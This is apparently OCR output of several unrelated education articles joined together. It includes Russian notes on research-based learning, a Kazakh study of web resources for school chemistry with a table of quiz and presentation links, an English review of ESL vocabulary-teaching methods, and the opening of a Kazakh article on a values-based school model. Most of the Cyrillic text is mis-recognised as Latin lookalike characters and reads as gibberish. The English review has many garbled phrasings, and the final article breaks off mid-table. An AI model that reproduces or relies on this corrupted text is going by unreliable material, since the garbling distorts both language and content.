npouecca. OCHOBHas LeNb NCCNe0BaTENbCKOTO 0byveHna —
dopmmnpoBaHMe y y4yallerocA CnocobHOCTel CaMOCTOATENbHO, TBOPYECKM OCBaMBaTb U
nepecTpamBaTb HOBble CNOCObbl AeATeNbHOCTU B Nt0HOM chepe YenoBeyeckom KyabTypsbl [3, 218].
Ham, negaroram, HeobxoAMMO YyAenATb BHWMAHWME Ha pPa3BUTME  UCCAEA0BaATENbCKOM
NEeATeNbHOCTU YYaLUMXCS, TaK Kak 3T0 NyTb GOPMMPOBAHNSA 0COOOro CTUAA y4ebHOM AeATENbHOCTU.
NccnepoBatenbCckaa [AeATENbHOCTb  YYAWMXCA WrPaeT OrpoOMHYI0 pPOab B  OOHOBNEHHbIX
obpasoBaTeNbHbIX Nporpammax. ITo NaaHOMepHas, No3HaBaTeibHaA TBOPYECKaa AeATeNbHOCTb
YYaLLMXCA, NO CBOEWN CTPYKTYpe COOTBETCTBYIOLLAA HAYYHOW AeATENbHOCTM, XapaKTepPMU3yroLLAACa
UueneHanpasB/IeHHOCTbIO N aKTUBHOCTbLIO [4, €.194]

Yyntenamu, paboTatowMmm B AeBATbIX Knaccax, bbiam chopmynmpoBaHbl peKOMeHAALMN
ANA Konner:
1. [Ons KaxXaoro y4yalleroca BbIABUTb «30Hbl KOMPOPTa», TO eCTb Te HamnpasaeHun
[eATeNbHOCTM, KOTOPbIE A1 HUX He NPeACTaBAAIOT 3aTPYAHEHNN (paboTa BbINOAHAETCA
NpPaBWIbHO, 3aTPAYMBAETCA Ma/I0 BDEMEHM Ha BbINONHEHME).
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2. ToackasaTb y4vallemyca, Kak pacnpefenntb Bpema AN Toro, 4Tobbl OH Mor ycneTb
BbINO/IHWUTL PAabOTy C HAUMEHbBLIMMM BPEMEHHBIMM 1 SHEPTETUYECKMMM 3aTPaTaMMU.

3. COBMECTHO C y4nTeNAMM MaTEMATUKN CHOPMYIMPOBATL aTOPUTM MOCTPOEHMA rpadurKa
W ero aHanms.

4. B cnyyae HeobXoAMMOCTM KOHCY/bTMPOBATHLCA Y MCUMXO0ra LIKO/bI, KakMe MeTozbl
PaboTbl MCNOMb30BaTb C YYalLMMWUCA, KOTOPblE MMET 3aTPyAHEHWS B W3yYeHUK
npeamMeToB eCTECTBEHHOrO UMK/A.
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OPTA MEKTEMNTE XMMMA NMaHIH
OKbITYIA 3AMAHAYW BEB-PECYPCTAP/IbI
TUIMAI NAMOANIAHY MYMKIHAIKTEP!

BumaraHbeToBa ocemait OpanKpisbl

K.*ybaHoB aTbiHAafbl AKTebe BHipaiK YHUBEPCUTETIHIH 4-KypC CTyAeHTTEpI
Mypat ®ay3una HypnaHKbI3bl

K."ybaHoB aTbiHAafbl AKTebOe OHipAiK YHMBEPCUTETIHIH, 4-KypC CTYAEHTTEPI
LLlyknpbaesa AkboTa JlecKeHKpI3bl

K."ybaHoB aTbiHAafbl AKTebOe OHipAiK YHMBEPCUTETIHIH, 4-KypC CTYAEHTTEPI

AHHaTOUuMA:Byn MaKanaga opTa MeKTenTe XWMMMUA MaHiH OKbITyda 3amaHaym Beb-
pecypcTtapabl TUIMAI NalganaHy MYMKiHAIKTepi KapacTbipbliadbl. 3amaHayu aKknapaTtTblk,
TexHosorvanap 6inim Hepy npoueciHAe MaHbi3Abl Pen aTKapbin, OKYy canacbiH apTTbipyFa,
OKYLWbINAPAbIH  KbI3bIFYLIbIMbIFBIH  KOTEpyre, COHAan-ak MaTepuandbl TepeH MeHrepyre
KemeKkTecedi. XumMua NaHi ©3 Kypaeniniri meH abcTpakTinirimeH epekweneHesi, COHAbIKTaH Beb-
pecypcTap OKy MPOLECiH TUIMAI yMbIMAACTbipyFa, OKY MaTepuasblH BU3yanM3aumsaiayFa KoHe
OKYLWbINAPAbIH XMMUAFA [iereH bIHTaCblH apTTblpyFa KeMeKTece,.

Annotation: This article explores the opportunities for effective use of modern web
resources in teaching chemistry in secondary schools. Modern information technologies play an
important role in the educational process, helping to improve the quality of education, increase
students' interest, and deepen their understanding of the material. Chemistry, with its complexity
and abstract nature, requires special attention, and web resources help organize the learning
process efficiently, visualize the learning material, and enhance students' motivation towards
chemistry.

KinT ce3gep: 3amaHaym BebH-pecypcTap, aKmapaTTblK TeXHOAOrManap, OKy MNPOLEC,
WHTEPAKTMBTI Kypanaap, BMPTyandpl 3epTxaHanap, OKy naaTdopmanapbl, MynAbTUMEOMANbIK,
npeseHTaUMANap,  aKkblA-OM  KapTanapbl,  npobnemanbiK  Kafgawnap,  aknapaTTbiK-
KOMMYHUKaUMANbIK TEXHONOrMANap, neaarornkanblk WHHOBaUManap, umobpabik 6inim bepy,
TEXHONOTMANAP MEH 3iC-TaCiNAep, KaCibu KbiI3MET MOAENIH KYPY, TEOPUAbLIK BiNiM, MPaKTUKaNbIK,
nafapinap, Kypanaapabl TMimAai nainaanany, 6inim 6epy canachl, WblFapmallbiabiK Kabinetrtep, oKy
MaTepuanaapblH TONbIKTbIPY, OKYLWbINAPAbIH BiniMm aeHrei.

Keywords: Modern web resources, information technologies, educational process,
interactive tools, virtual laboratories, learning platforms, multimedia presentations, mind maps,
problem-based situations, information and communication technologies, pedagogical
innovations, digital education, technologies and methods, professional activity modeling,
theoretical knowledge, practical skills, effective use of tools, quality of education, creative abilities,
supplementing learning materials, students' knowledge level.

Kasipri 3amaHfbl 6inim 6epy »KyMeci aknapaTTbiK-KOMMYHUKALMAIbIK TEXHONOTMANAPAbIH,
KapKblHAbI AaMybIMeH TbiFbi3 6alnaHbICTbl. byn e3repictep MekTen oKylibliapbiHa binim 6epy
94iCTepi MeH KypangapbiH *aHapTyabl Tanan etedi. CoOHbIMEH KaTap, Neaarornmka canacbiHAafbl
aHa WMHHOBaAUMSANAP MeH agic-Tacingep 6inim canacblH apTTbipyfa b6afbiTTanfaH. XMMUSA MaHi
epeklle Haszap aydapydbl KaxkeT eTeTiH naHaepaiH Oipi 6onbin Tabblnagbl, SWUTKEHI o
OKyLblNapAbliH, abcTpakTini oinay KabineTTepiH OambITyFa »KIHE fblAbIMM  AYHUETAHbIMbIH
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Ka/bINTacTblpyfa blKkNan etedi. bipak AacTypai a4icTep MeH KypanaapdbliH, Kasipri 3amaH
TananTapblHa TO/bIKTaM COMKEC KeMeyi OKY NPOLECIH TUIMA XKYPTi3yai KMbIHAATYbI MYMKIH.

Beb-pecypcTapabl XMMns cabakTapbiHa eHri3y TeK KaHa binim anywbliapablH, TEOPUSASbIK
binimaepiH KeTinaipin KaHa KoWMMmaK, onapAblH, MNPaKTUKaAbIK AafdbliapbiH A3 AaMbITyFa
MYMKIHAIK ©Oepeai. byn TexHonornsnap oKy VAEPICIH (Keke Tyafara OafbiTTanfaH KoHe
MHTEPAKTMBTI eTe OTbIPbIN, OKYLbIHbIH ©3iHAIK Binim any KabineTiH »KakcapTagbl. Ocblnaniwa,
3amaHayun Beb-pecypcTapabl TUIMAI NaaanaHy MekTenTeri XMMWs NaHiH OKbITyAa MaHbI34bl pes
aTKapagbl, OUTKEHI 0N1ap OKyLUblAapFa BiNiMHIH 9PTYPAI aCNEKTINEPIH KaH-*KaKTbl 3epTTEyre KaHe
TEPEeH MeHrepyre MyMKiHAIK bepeai.

3amaHayn Beb-pecypcTap — Oy XMMKUA MaHIH OKbITyAa Binim Gepy canacbiH apTTbipyFa,
OKYLLUbINAPAbIH, KbI3bIFYLbI/IbIFbIH OATYFA KOHE LiblFapMallbliblk KabineTrepiH AambliTyfa Y/IKeH
MYMKiHAIK 6epeai. IHTepHeTTe KO/MKETIMA| TYPAi MHTEPAKTUBTI Kypanaap, oKy naatbopmanapsl,
benHemasmyHOap, BUPTYanabl 3epTxaHanap »kaHe Hacka [a pecypcrap OKy matepuaniapbiH
BM3yanm3aumsanay, sKCNepMMeEHTTEP MeH TeopuanblK binimai BipikTipy apKblabl OKyLWbINAPAbIH,
NaHre AereH Kbl3blfyLLblAblIFbIH apTThipaabl. Ocblnanwa, Beb-pecypctap oKy YAEPICiH KeHinaeTin,
OKYLblNapAbiH, binimiH TepeHaeTyre MymKkiHA K 6epeai [1] Byn makanaga XMMUA NaHiH OKbITyAa
3amaHayn Beb-pecypcTapibl TUIMAI nanganaHy MYMKIHAIKTepi, onapAblH OKy vyaepiciHaeri
MaHbI3bl MEH OKYLLUblLAapAbIH, Oinim AeHrenin Ketepyaeri peni KapacTbipbliagbl. OKbITYAbIH, *aHa
aAicTepi MeH KypandapbiHbiH, TUIMAINIM Typanbl Nikipaep MeH Tasxipubenep TangaHbin, seb-
pecypcTapabl KoNdaHyAblH SPTYPAI Tacinaepi YebiHblNaabl.[2]

Beb-pecypctap 6inim anywblnapsa  A2CTYpAi aknapaT  Ke3depiHeH TbhiC  KaHa
Ma/liMeTTePMEH TaHbICyFa MYMKIHAIK ©Oepeai, e3iHAiK sKYMbIC icTeyaiH, TUIMAiNITiH apTTbipabl,
WblFapMallblNblK, ~— KabineTrepiH  AambiTbin,  SpTYpPAi  AafAblnapAbl  MeHrepyre  KaHe
WOFbIpAAHAbIPYFa Heri3 »acanapl. Mbicanbl, BUPTYanabl SKCKypcuAnapabl KOAAaHY OKYLUbIHbIH,
AYHWETaHbIMbIH aMTap/blKkTal KeHenTeai »KaHe Tipi af3anapAafrbl XMMMUAAbBIK NpoLEecTep MeH
peaKkUuManapablH, MaHiH TYCiHYAI »eHinaeTeni. Beb-pecypctapablh, apTypAi TYPAEPiH nanganaHy
aAPKbIIbl XMMUAHBI 3ePTTEYAiH KaHa AeHreniHe eTy MYMKIHAIT TyblHAANAbI.

- KOMMYHMKaUMsanapapiH Oap/blk aknapaTTbiK Typ/epiH (3N1eKTPOHAbIK, KoHbepeHuuanap,
3NEKTPOHABIK MOLWTA) NalaanaHy oKylblnapFa aknapaTTbl ipikTeyi, aknapaT afblHbIHAAFbl 6aCTbl
MaHAi Benyai, *annblAaH XKekere Kellyai YMpeHyre MyMKiHAiK bepea;

- MYAbTUMEAMANbIK Npe3eHTauManapabl Kypy KeHe Ko/sdaHy, onap 3epTTeneTiH 6apbiK
aKnapaTTbl MOAYAb TYPiHAE KYPbINbIMAANAbI, MaTepManabl TYCiHY aHe ecTe cakTay aaropuTMiH
KepceTedi;

- NpobemanblK Karaannapabl KapacTblpyfa MyMKIHAIK 6epeTiH aHaANTUKaNbIK XMMKUSA BOMbIHLLA
MHHOBALMANBIK OKY KypangapbiH nanaanaHy - 6inim anywsinapabiH, 60nalak Kacibm Kbi3MeTiH
Mmoaensaenai;

~ XMMUSHbI OKbITY Ke3iHge Mind Maps aKkbl/-0M KapTafiapblH KoadaHa oTbipbin, UMdpbIK Typae
benHeneHreH  KeckiHAepMeH  KymbiC  icTey  KabineTiHe  HerizgenreH  aknapaTTbiK
TEXHO/IOTMANAPAbl BU3yanmsaumanay[3]

Beb-pecypcTapabl cabakTbiH 2pTYpP/i KeleHAepiHAe KaHe Tonblk cabak bOapbicbiHAA
KonaaHyra 6onaabl. byn petre Beb-pecypctap OKbITYAblIH TUIMAINIMIH apTTbipy Kypanbl peTiHae
KapacTblpblnaabl. MHTepHeT — Oyn OKy MPOLLECIH »KaKCcapTyfa apHanfaH KOCbIMLLIA 9pi ©3eKTi
aknapart kesi. Cabak 6apbiCbiHA@ HAKTbl KAXKeTTi aknapaTTbl i34ey, OKy MmaTepuanbiH ayano, benHe
Hemece boTomaTepmnaniapmMeH TONbIKTbIPY KaHe onapabl OHIMAI Typae KONAaHY, COHAAN-aK KeKe
MaHbI3bl TANCbiPpManapabl KO KesiHAae nanaanaHy KaxeT. XMMKUA NaHiIH OKbITyAa Be6-pecypcTap
FbIZILIMHbIH, epeKLIeNiKTePiH eckepe OTbIPbIN KOAAaHbINYbI TUIC [4].

Ka3akcTaHaa aKCNepMMEHTTIK X KyMbICTapFa KapafaHaa, TeopuanblK binimre kebipek Hazap
ayaapblnaabl, ©WTKeHi Oyn  Mmacenene akT MaHbI3Abl Pen  aTtkapadbl. TeXHONOTMANbIK,
HbacTamanapablH, CaTTi XKy3ere acblpblaybl OKbITY WAPTTaPbIHbIH, OJ1apMeEH yianecimainiriHe Tikenen
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HalnaHbICTbl. XMMKA cabaKTapblHAA TEXHONOTUANAPAbI TUIMAI €Hridy YWiH eH angbliMeH OKy
HafOoapnamacbiHbiH, - MaKcaTTapblH - eckepy KaxkeT. Erep myfaniMHiH  KYHAbINbIKTApbl  MeH
TEXHONOTMANDBIK aHALWbINAbIKTAP apacbiHAa CaMKecTik B6osmaca, Oyn NpPoLEecTiH caTcizdikke
yliblpayblHa akenyi MymkiH. COHbIMeH KaTap, erep KomnbkoTepaepre KO/MKEeTIMAINIK WeKTeyAi
60onca Hemece OKyLWbIap MeH KOMMNbOTEPAEPAiH apaKaTblHACbl TbiM Y/IKeH 6oca, MmyFanimaep
TEXHONOTMAHbBI OKbITY Kypa/ibl peTiHAe nanaanaHyfa KyablKCbi3 601ybl MyMKiH. Byn Typfbiaa [.A.
Opasbaes neH E. 3alHYAAMH XMMUA MyFanimaepiHii, Beb-pecypcrapabl TMiMAI NanaanaHyabiH
bipHele »KoNAapbiH aHbIKTAAbI:

- Beb-pecypcTapabl KOAAaHy OKY VAepiciHe HaKTbl nanaa aKeneTiHiHe »KaHEe OHbIH canacblH
apTTbIpaTbIHbIHA KO3 XKETKI3Yy;

- OKbITy OapbiCbiHAA MYFaNiMHIH TaXipnOECiH »KaHe OKylblIapdblH, anablH ana MeHreprex
6inimaepiH eckepy;

- OKyLIblNapfa TaH/ay »Kacayfa MYMKIHAIK Depy, »ayankepLinik »KyKTey »kaHe 6enceHi OKbITy
24icTepiH KoNAaHy apKbl/ibl OKY YAEPICIH AYPbIC YMbIMOACTLIPY;

- KaHa YFbIMAap MeH 0N1apabiH 63apa bannaHbICTapbIH TYCIHYre KEMeKTecy, NiKipTanacka KaTbiCyfa
WaKblpy, akNapaTTbl CbIHW TypFblAaH Tanaayfa bayny KaHe 3epTTey TancblpManapbiH OpbliHAAYFa
bIHTaNAHAbIPY;

~ OKylblaapapl ©3 MaesnapbiH opTafa Casibin, KOPbITbIHABINAPLIH Beicyre biHTanaHabipy [5].
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Kecte 14. Meparorvkasblk 3KCNepMmeHT bOapbicbiHAa cabakTapaa KondaHblaFaH Beb6-
pecypcTapAbl KapacTbipaTbiH HocaK:

No

Cabak, TaKkblpblbObl

KonaaHbinfaH Beb-pecypcTap

1

Manganbl  reonoruanbik,
XUMUANBIK,  KOCbI/IbICTAP
(7-cbiHbIn)

ABaragpo 3aHbl. Monbaik
Kenem(8-cbiHbin)

https://wordwall.net/resource/72133153
https://www.canva.com/design/DAGeO4bHivk/8rip1QHx9wn
aDgiam 30Fg/edit?utm content=DAGeO4bHivk&utm camp
aign=designshare&utm medium=link2&utm source=shareb
utton

https://view.genially.com/67a370eb33b1fdcec5da0c0d/mob
ile-spaceship-quiz-mobile
https://www.educaplay.com/learning-resources/22266149-
learning resource.htm
https://search.app/gE4kLoj5g5djG8WES

https://www.baamboozle.com/game/978438
https://www.canva.com/design/DAGe5mJ5Wok/ABCGHt817
HRKROwDjIHD5A/edit?utm content=DAGe5mJ5Wok&utm
campaign=designshare&utm medium=Ilink2&utm source=s
harebutton

https://app.quizwhizzer.com/play?code=52649
https://view.genially.com/67acdfa3358212b0ce005593/inte
ractive-content-dajynsy-baé
https://wordwall.net/resource/25840872

Kpuctanablk  Top | https://www.canva.com/design/DAGfl40cjS0/aVDa2T9xbnei3imk-

Typnepi.(8-cbiHbin) | GNvnQ/edit?utm content=DAGfl40cjSO&utm campaign=designsh

are&utm medium=Ilink2&utm source=sharebutton

https://learningapps.org/watch?v=pktyc7x3j25

https://wordwall.net/resource/52534087

https://wordwall.net/resource/54596772

https://view.genially.com/67b685506632f19b5189eee3/interactiv

e-content-kristaldy-tor

https://view.genially.com/67b685506632f19b5189eee3/interactiv

e-content-kristaldy-tor

KopbITbiHAbI.BYN Makanaga opTa MeKTenTe XMMMA MaHiH OKbITyAa 3amMaHaym Beb-
pecypcrtapabl  TUMIMAI  nNanganaHy MYMKIHAIKTEpI KapacTblpbligbl. 3amaHaym aknapaTtTbiK
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TEXHONOIMANAP OKYy MNPOUECIH TWIMAI  yMbIMAACTbIpyFa, OKYyLWbINapAblH, NaHre AereH
KbI3bIfYLLUbIMbIFbIH aPTTbIPYFa YXaHe 0NMapablH binimaepiH TepeHaeTyre kemektecedi. XMUMUA NaHi
KypAeniniri meH abcTpaKTiniri »afblHaH epeKlwe bonfaHAbIKTaH, BeO-pecypcTapabl KOAAaHY OKY
MaTepuangapbiH BM3yanmsaumanay, NpakTUKaablK Aafablnapdbl AaMbITY KaHE OKYLUbINAPAbIH,
WbIFapMaLlblAbIK KabineTTepiH WhiHAayFa MyMKIHAIK 6epeqi. MHTepaKTUBTI Kypanaap, BUpTyanabl
3epTxaHanap, MyabTMMeaMAnbIK NpeseHTaumanap MeH backa Aa 3amaHaym TexHooruanap 6inim
Hbepy NpoueciH »eHinaeTin, okylwblnapablH, 6enceHai KaTtbiCyblH biHTaNaHAblpadbl. CoOHbIMeH
KaTap, Beb-pecypcTapbl KONA4aHy OKYLWbINAPAbIH 63iHAIK 3epTTey AafAblAapbiH KaabiNTacTbIPbIM,
CbIHW OMnay KabineTiH AambiTaabl.

Ocblnanila, XMMMUa MaHIH OKbITyda 3amaHayu Beb-pecypcTapdbl TMiMAI nanganany 6inim
Hepy canacbiH apTTbipydblH, OKYLWbIIAPAbIH OiniMm AeHreliH KeTepyaiH, KaHe onapablH, FblabiMU
AYHUETaHbIMbIH KEHENTYiH MaHbI3bl Kypanbl 60abin Tabblnaabl. TexHonormanapasl 6inim 6epy
NpougeciHe eHri3y nedarormkanblK KaHalblAblKTapabl Koagan, OKywblnapablH, 6inim  any
9AICTepiH KaKcapTyFa MyMKiHAK Bepeai.
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Abstract. Vocabulary learning is crucial to English language proficiency. This article
introduces a combined review and comparative study of different methods proven in order to
improve English vocabulary particularly aimed at English as an additional language ESL students.
Drawing based on non-experimental data, also intructional trials. This particular reasearch
investigates explicit vocabulary guidance contextual learning via authentic materials, multimedia-
supported approaches game-based learning, and digital remediation tools. Combined findings
throughout numerous global contexts shows which this multi-sensory as well as learner-focused
methods especially the ones employing real data along with digital instruments, notably enhance
both the richness as well as range of vocabulary grasp. The research ends accompanied by useful
consequences aimed at teachers as well as syllabus developers trying to apply efficient vocabulary
teaching within blended or face-to-face environments.

INTRODUCTION

Vocabulary is at the core of language fluency, shaping students' capability in order to grasp
communicate as well and interact alongside educational as well as practical passages. Without a
sufficient vocabulary students often have difficulty making sense of even the most basic
communications, causing vocabulary attainment crucial to successful language acquisition. As
stated by Nation (2001), students must be familiar with a minimum of 8000-9000 lexical groups
to interpret novels and daily papers, emphasizing the difficulty encountered by ESL students. This
article combines 5 academic research papers concentrating upon impactful vocabulary acquisition
methods, intending to offer a cohesive comprehension regarding the most effective procedures
within word usage teaching. Many approaches have been suggested to support word attainment.
The research examined within the current article shows five primary strategies: explicit vocabulary
teaching, media-enriched approaches, authentic environment-related acquisition, vocabulary
development approaches, and game-based or digitally aided teaching.

FINDINGS

Direct Vocabulary Instruction (DVI)

Hunt and Feng ( 2016) highlight that DVI especially if matched alongside instructor-guided
oral reading as well as clear word instruction, is beneficial in boosting vocabulary preservation.
Their investigation including early elementary learners across a month revealed obvious progress
regarding vocabulary as well as literacy interpretation showing the importance of structured
guidance involving frequent engagement.
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Multimedia and Digital Remediation Programs

Pasicolan et al. (2021) investigated the execution of Project STRIVE, a digital intervention
platform in which learners participated through everyday 60-second word recordings. The method
led to substantial final assessment increases and more than 70 % of learners reaching acceptable
or better achievement. Multimedia resources boost attention as well as practice, essential
elements for lasting memory.

Authentic Materials and Contextual Learning

Tran ( 2023) emphasized the application of English reports as a method to enhance
Vocabulary. The research revealed that learners presented to regular English reports through
video as well as listening formats exhibited greater vocabulary preservation as well as context-
driven application. Authentic content offers practical illustrations along with cultural connection,
supporting students to obtain not only definition but additionally accurate implementation.

Vocabulary Learning Strategies (VLS)

According to Paredes et al. (2024), learners apply a diversity of Vocabulary Learning
Strategies VSL, such as interpersonal reflective as well as memorization-focused approaches. The
investigation demonstrated that learners chose visual tools drawings recordings, collaborative
practices, and digital tools like YOUTUBE for Vocabulary expansion. Schmitt’s (1997) classification
organized approaches within decision-making collaborative retention cognitive and awareness-
based. Assisting teachers in comprehending learners' tendencies.

General ESL Approaches and Word Games

Khatamova (2023) presented an extensive outline regarding ESL-friendly vocabulary
approaches such as word cards scheduled practice memory-assisting aids as well as games. The
outcomes highlighted the fact that regular experience in context comprehension as well as
interactive involvement were essential for vocabulary learning. Integrating diverse approaches
assisted in strengthening knowledge building as well as enhancing general speaking-related ability.

Methodology

This article applies a descriptive material evaluation method. Five academic articles were
examined labeled for patterns as well as teaching techniques and contrasted among results focus
was directed toward similarities efficiency of student involvement as well as adaptability. Essential
signs consisted of assessment results student responses and recorded vocabulary improvements
among various environments. This article uses descriptive qualitative analysis methodology to
investigate five academic research-based projects on vocabulary development among non-native
speakers. This article identified their significant range of approaches and focused on diverse
teaching methods involving face-to-face instruction, online tools, real-world texts, and game-
based education. The reviewed sources implemented research designs, such as quasi-
experiments, surveys, combined approaches, and qualitative observations. Ways to gather
information in the primary research involve before and after vocabulary assessments, learner
responses, in-class monitoring, and monitoring of online learning behavior. For instanse, Hunt and
Feng ( 2016) carried out organized direct vocabulary instruction with young learners whereas
Pasicolan et al ( 2021) analyzed an online support tool through regular vocabulary audio sessions.
Tran ( 2023) studied vocabulary growth by being presented with authentic English media and
Paredes et al, (2024) learners’ preferred strategies involving written and oral feedback tools.
Khatamova (2023) shared results through word-based activities and memory aids in English
learning environments. A pattern-based review technique was applied in this study to detect
trends linked to learner participation vocabulary retention and the flexibility of teaching methods
in various educational environments. Although the results might differ because of situational
elements like student maturity level or availability of digital tools, the combined understanding
offers a strong insight into successful, student-focused word teaching techniques.
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Results and Discussion

Outcomes reveal that none of the techniques exceeded the remaining ones within every
aspect. Nevertheless, blended methods that merge Direct Vocabulary Instruction (DVI) genuine
resources along with tech-based aids caused the highest degrees of Vocabulary preservation as
well as student engagement. Students gained through interactive in-context acquisition which
promoted practice communication along with authentic application.

Gamification approaches and portable applications remained particularly effective for self-
directed students, whereas DVI turned out essential for early-aged or beginner learners. Authentic
resources like updates as well as visuals assisted bridge the distance between academic teaching
along practical implementation. Every 5 articles emphasized the significance of student-focused
techniques as well as frequent evaluation to measure advancement.

Conclusion

This combination proves that vocabulary learning is highly beneficial if methods remain
diverse and multi-format as well as adjusted for students' requirements instructors are advised to
integrate explicit teaching alongside genuine digital and student-centered methods. Upcoming
investigations ought to emphasize long-term influence as well as the applicability of these blended
approaches throughout different instructional environments. Vocabulary instruction in ESL
settings should remain flexible motivating as well as adjustable. Instructors are advised to
implement an integrated strategy that includes the most effective structured guidance contextual
instruction along with modern technological resources. While academic environments keep
changing into digital and blended settings. The methods examined within this article provide a
framework to enhance students' vocabulary-related fluency along with general interactional
capability. Only by constantly evolving for students' needs and technological progress as well as
different educational environments can instructors confirm that vocabulary instruction stays
impactful comprehensive and applicable throughout the continuously developing academic field
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KYHAObINbIKKA Heri3aenreH meKkTen: oKy bl
TY/IFaCbliH AaMbITyAafbl }aHa Taciaep

onaifasbl PypuHaTt bekaaliblpKbi3bl
AnmaTbl Kanacol binim backapmacbiHbiH «Ne 108 mekTen-rumHasna» KMM, Mekmen
oupeKkmopebl

AngaTtna. byn aaictemenik makanaaa 6inim 6epy yaepiciHae oKyLbl TY/1FACbIH KaH-KaKTbl
[AaMbITy MaKCaTblHAA KYHAbINbIKKA HEr3AenreH MeKTen ModeniH eHrisy Taxipnbeci cunaTtranagp.
KyHAabINbIKKa HerisgenreH 6inim 6epy — oKkylubliapabiH, 6oMbliHa afamrepLUinik, *ayankepLinik,
afanaplk, e3apa KYPMeT, Te3iMaiNnik, eHOEeKKOP/bIK CbiHAbI ©MipAiK MaHbI3bl Hap KacueTTepai
CiHipin, onapAabl caHabl, *aH-KaKTbl AaMblfaH TyAfa peTiHae TopbueneyaiH TMimai Tacini.

MaKanaga aBTop KYHAbIAbIKTapAbl cabak yaepiciHe KipikTipy »on4apbliH, OKyLWbINapabiH,
KYHAbINbIKTbIK, OafdapbiH  AaMbiTyFa apHanfaH oaaictepai  (obanblk XKymbic, pednekcus,
KaFO@ATTbIK Tancblpmanap, KOFaMablK Nalanbl SpekeTTep) *KaH-KakTbl cunaTttanapl. CoHbIMEH
KaTap, MeKTen TaxipnbeciHae KONAaHbINFAH HaKTbl cabak KypblabiMbl MEH OKyllbl SpeKeT,
onapAplH, es3repici mMeH Aamy AMHAMMKAcbl MbICangap apKblabl KepceTinedi. ABTOP/bIK,
baroapnama HeridiHae anblHFaH HaTuMXenep MeH TUIMAINIK KepceTKiluTepi KecTenep MeH
AMarpaMma apKblabl YCbiHbIAAbI.

Byn Makana KyHAbINbIKTbIK 6inim 6epy 6OafbiTbiHAa KYMbIC ICTEMTIH neparortepre
aaicTeMenik Kemek Kypasbl peTiHAe yCbiHblAaab!.

TyriHAi ce3aep: KyHAbINbIKKA HeridgenreH 6inim, TynfanbiK Aamy, MeKTen, ajicteme,
Topbue, negarornKkanbik Taxipnbe.

Kipicne

Kasipri TaHaa 6inim 6epy »yMeciHiH, 6acTbl MakcaTbl — OKYLLbIHbI TEK BiNiIMMEH KapyaHablIpy emec,
OHbl pyXaHuW-adamrepLifik TyprblaaH *eTinaipy. Ocbl opanaa KyHAbIbIKKA HerisgenreH mexTen
MmoAeni epeklwe Hasap aydapyabl Tanan eteqi. binim masmyHbIH XaHapTy aACbiHAA MeKTen
OKYLLUbINAPbIHbIH, OOMbIHAA YATTbIK IHE Ka/MblaJaM3aTTblK KYHAbIIbIKTAPAbl CiHIpY KarKeTTiniri
apTbin OTbIp. byn Tocin — OKylWbIHbI Ty/Afa peTiHAe KanbINTacTbipyfa, 63 IpPEeKeTiHe KayanThbl,
CaHa/bl, bIHTbIMAKLLbIA, aJaMrepLUifiri Mon azamart eTin Topbueneyre Herizgenea,.

MaKanaHblH MaKcaTbl — KYHAbIbIKKA HerisaenreH 6inim bepy moaeniH cunatran, OHbl MeKTenTeri
OKbITYy MeH Topbueney npoueciHae TWIMAI KOAAaHY KondapbiH yebiHY. MiHgetTepi —
KYHAbINBIKTLIK Binim OepyaiH, TeopusanblK HerisiH Tangay;, TWiMAi aaic-Tacinaepai *KMHaKTay;
MeKTen TaxkipnbeciHae KonaaHy KonaapblH KepceTy; neaarortrepre npaxkTUKaabiK YCbiHbIMAAP
6epy.

Ocbl TakblpbiNka OalnaHbICTbl WEeTeNdik aBTop/iapdaH XannucoH, Pelimepc, PanaH CbiHAbI

3epTTeyLinep OKYLLIbIHbIH, 3MOLMOHANAbIK KaHE 91eyMETTIK AaMybl YLILiH KYHAbIAbIKTapAbl 6inim
Hepy Ma3MyHbIHa eHri3yAiH MaHbI3blH epekLle atan eTeai [1].
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ogaicteme

KyHAabinblKKka HerisgenreH 6inim 6epy — 6yn TeK MasmyH faHa emec, OyKill OKbITy yAepicCiH
yMbIMAACTbIpYAbIH,  Tacini. bi3aiH, MekTenTe KoAZaHblAfaH aAicTeMesiik  Moaesb Keneci
3/IeMeHTTepPAEH Typaab!:

No JNnemeHT KbICKalla cunaTTamacsl
1 KyHAbIAbIKTapab! aHbIKTay CbIHbINTafbl KYHAbINBIKTAP Ti3iMiH Bipnecin acakTay
(apanablk, skayankepuwinik, kypmert, 7.6.)
2 CabakTafbl KipikTipinreH Opbip TaKbIPbINKa CONKEC KYHAbINbIK 91EMEHTIH KOCY
Topbue
3 OkyLbl pednekcuacsl OKyLWbl KYHAENIT MEH LafblH 3CCE apKbl/ibl 63 IPEKETIH
baranay
4 Hobanblk KblameT KofamablK naaansl xxobanap apKblibl KYHAbIIbIKTapAb
Tosipmnbe apKblabl Ce3iHy
5 KofammeH 6alinaHbic OTbacbIMeH, XKeprinikTi KOFamaacTbIKNEH CEPIKTECTIK Kypy

Byn aaic HerisiHeH eke Tynfara OafblTTanfaH OKbITyFa, SMOLMOHANAbI AaMyFa, D/1EYMETTIK
HbenceHainikke }aHe emipnik Aarablnapabl KanbiNTacTblipyfa OafbITTanFaH.

KonaaHbinFaH TexHonornanap:

% «OKyLlbl KyHAEniri» — OKyllbl KyH calblH ©3 SpPEeKeTiH KyHAbIAbIKTap TYPFbiCbIHAH
6arananabl.
«WeHbepaeri gnanor» — awblk cyxbaT apKblabl OKYLbI MiKipiH Bingipeai.
«Penaik oMblHOAP MeH KafdanaTTap» — KypAeni MopanbAblK TaHOady KafaalnapbiH
MOAEeNbageY.
% «KofamFa KbI3MeT» }00acbl — MEKTENTEH TbIC TaXKipMbe apKbl/ibl BMIpP/iK MarFbiHa i3aey [2].

R/
0.0

R/
0.0

>

MpaKTuKaga KongaHy

Bi3aiH, MmekTenTe byn agicTeme 2022 blngaH b6actan NUAOTTLIK *Koba peTiHae bacTanbin, bipkaTap
CbiHbINTapAa anpobaumnsanaH eTTi. HakTbl Mbican peTiHAe 7-CbiHbINTa eTKi3inreH «Agan 6ony —
apAbiH ici» atTbl Topbue cabafbiH KenTipyre 6onaabl. CabaK KypbiabiMbl - Kenecinemn
YMbIMAACTbIPbINAbI:
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MbICasi4apsl

TapUXbIHAAFbI aAan
Ty/NFanap mbicangapsi
yCbiHbINaapbl (AxmeT
BalTypcbiHy b, T.6.)

Cabak KeseHi CunatTamacs! OKYLLbI dpeKeTi MakcarTbl
1. KYHAObINbIKTbI «AJanablk» yfblMbl OKyLwblnap KyHAbINbIK Typabl
aHbIKTay TaNKbl1aHbIM, «afanablk» Typasbl HacTankbl TYCIHIKTi
OKylWblnap e3 ©3 OMN1apblH XKa3aapbl, KanbINTacTbIpy
